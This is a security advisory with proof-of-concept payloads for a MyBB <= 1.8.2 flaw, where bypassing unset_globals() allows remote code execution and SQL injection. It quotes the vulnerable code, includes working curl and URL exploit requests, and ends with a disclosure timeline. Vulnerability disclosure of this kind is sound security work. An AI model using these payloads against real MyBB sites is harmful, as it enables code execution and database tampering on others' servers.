1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 |
# Exploit Title: MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability # Date: 2014-11-21 # Exploit Author: Taoguang Chen # Vendor Homepage: twitter.com/chtg57 # Software Link: www.mybb.com # Version: MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15 MyBB had released 1.8.3 and 1.6.16 to fixed this vulnerability. Advisory: https://gist.github.com/chtg/e9824db42a8edf302b0e #MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.03.06 > MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution. ##I. MyBB's unset_globals() Function Bypass When PHP's register\_globals configuration set on, MyBB will call unset\_globals() function, all global variables registered by PHP from $\_POST, $\_GET, $\_FILES, and $\_COOKIE arrays will be destroyed. </code><code> if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } ... } ... function unset_globals($array) { if(!is_array($array)) { return; } foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4 } } </code><code> But unset\_globals() function can be bypassed. ###i) $\_GET, $\_FILES, or $\_COOKIE Array was Destroyed </code><code> foo.php?_COOKIE=1 // $_GET['_COOKIE'] </code><code> When $_GET['\_COOKIE']=1 is sent, unset\_globals() will destroy $GLOBALS['\_COOKIE']. </code><code> $this->unset_globals($_GET); ... } ... function unset_globals($array) { ... foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); </code><code> This means $\_COOKIE array will be destroyed. This also means all global variables registered by PHP from $\_COOKIE array will be destroyed because them will not be handled by unset(). </code><code> $this->unset_globals($_COOKIE); } ... } ... function unset_globals($array) { if(!is_array($array)) { return; } </code><code> By the same token, if $\_GET or $\_FILES array was destroyed via unset\_globals(), the corresponding global variables registered by PHP will not be destroyed. ###ii) $GLOBALS Array was Destroyed </code><code> foo.php?GLOBALS=1 // $_GET['GLOBALS'] </code><code> When $\_GET['GLOBALS']=1 is sent, unset\_globals() will destroy $GLOBALS['GLOBALS']. This means $GLOBALS array will be destroyed. $GLOBALS array is a automatic global variable, and binding with global symbol table, you can use $GLOBALS['key'] to access or control a global variable in all scopes throughout a script. This means that the binding between the $GLOBALS array and the global symbol table will be broken because $GLOBALS array has been destroyed. This also means all variables registered by PHP from $\_GET, $\_FILES and $\_COOKIE arrays will not be destroyed. By the same token, when $\_POST['GLOBALS'], $\_FLIES['GLOBALS'], or $\_COOKIE['GLOBALS'] is sent, unset\_globals() will destroy $GLOBALS array, then the corresponding global variables registered by PHP will not be destroyed. In fact, MyBB is already aware of the problem: </code><code> $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS"); foreach($protected as $var) { if(isset($_REQUEST[$var]) || isset($_FILES[$var])) { die("Hacking attempt"); } } </code><code> Unfortunately, there is a small hole yet:-) $\_REQUEST is an associative array that by default contains mix of $\_GET, $\_POST, and $\_COOKIE arrays data. But PHP >= 5.3 introduced request\_order configuration, the directive affects the contents of $\_REQUEST array. </code><code> request_order = "GP" </code><code> This is recommended setting in php.ini. Set it to "GP" means only $\_GET and $\_POST arrays data is merged into $\_REQUEST array without $\_COOKIE array data. So, it is possible that sent $\_COOKIE['GLOBALS'], then bypass unset\_globals() function in PHP 5.3. ##II. Remote Code Execution Vulnerability There is one interesting method in MyBB: </code><code> class MyBB { ... function __destruct() { // Run shutdown function if(function_exists("run_shutdown")) { run_shutdown(); } } } </code><code> Look into run\_shutdown() function: </code><code> function run_shutdown() { global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb; ... // Run any shutdown functions if we have them if(is_array($shutdown_functions)) { foreach($shutdown_functions as $function) { call_user_func_array($function['function'], $function['arguments']); } } $done_shutdown = true; } </code><code> The $shutdown\_functions was initialized via add\_shutdown() function in init.php: </code><code> // Set up any shutdown functions we need to run globally add_shutdown('send_mail_queue'); </code><code> But add\_shutdown() function initialization handler is wrong: </code><code> function add_shutdown($name, $arguments=array()) { global $shutdown_functions; if(!is_array($shutdown_functions)) { $shutdown_functions = array(); } if(!is_array($arguments)) { $arguments = array($arguments); } if(is_array($name) && method_exists($name[0], $name[1])) { $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments); return true; } else if(!is_array($name) && function_exists($name)) { $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments); return true; } return false; } </code><code> In the above code we see that run\_shutdown() function is vulnerable because $shutdown\_functions is initialized correctly and therefore result in arbitrary code execution. ##III. Proof of Concept When request\_order = "GP" and register\_globals = On, remote code execution by just using curl on the command line: </code><code> $ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.target/ </code><code> ##IV. P.S.I **Another case to exploit the vulnerability:** When PHP's "disable\_functions" configuration directive disable ini\_get() function: </code><code> disable_functions = ini_get </code><code> The unset\_globals() function will not be called that regardless of register\_globals set on or off. </code><code> if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } </code><code> **Proof of Concept** Works on disable\_functions = ini\_get and register\_globals = On: </code><code> index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1 </code><code> ##V. P.S.II **SQL injection vulnerability via run\_shutdown() function** </code><code> function run_shutdown() { global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb; ... // We have some shutdown queries needing to be run if(is_array($shutdown_queries)) { // Loop through and run them all foreach($shutdown_queries as $query) { $db->query($query); } } </code><code> The $shutdown\_queries was initialized in global.php: </code><code> $shutdown_queries = array(); </code><code> But not all files are included global.php, such as css.php: </code><code> require_once "./inc/init.php"; </code><code> There is not included global.php, and $shutdown\_queries is uninitialized, with the result that there is a SQL injection vulnerability. **Proof of Concept** Works on request\_order = "GP" and register\_globals = On: </code><code> $ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php </code><code> Works on disable\_functions = ini\_get and register\_globals = On: </code><code> css.php?shutdown_queries[]=SQL_Inj </code><code> ##VI. Disclosure Timeline * 2014.03.06 - Notified the MyBB devs via security contact form * 2014.11.16 - Renotified the MyBB devs via Private Inquiries forum because no reply * 2014.11.20 - MyBB developers released MyBB 1.8.3 and MyBB 1.6.16 * 2014.11.21 - Public Disclosure |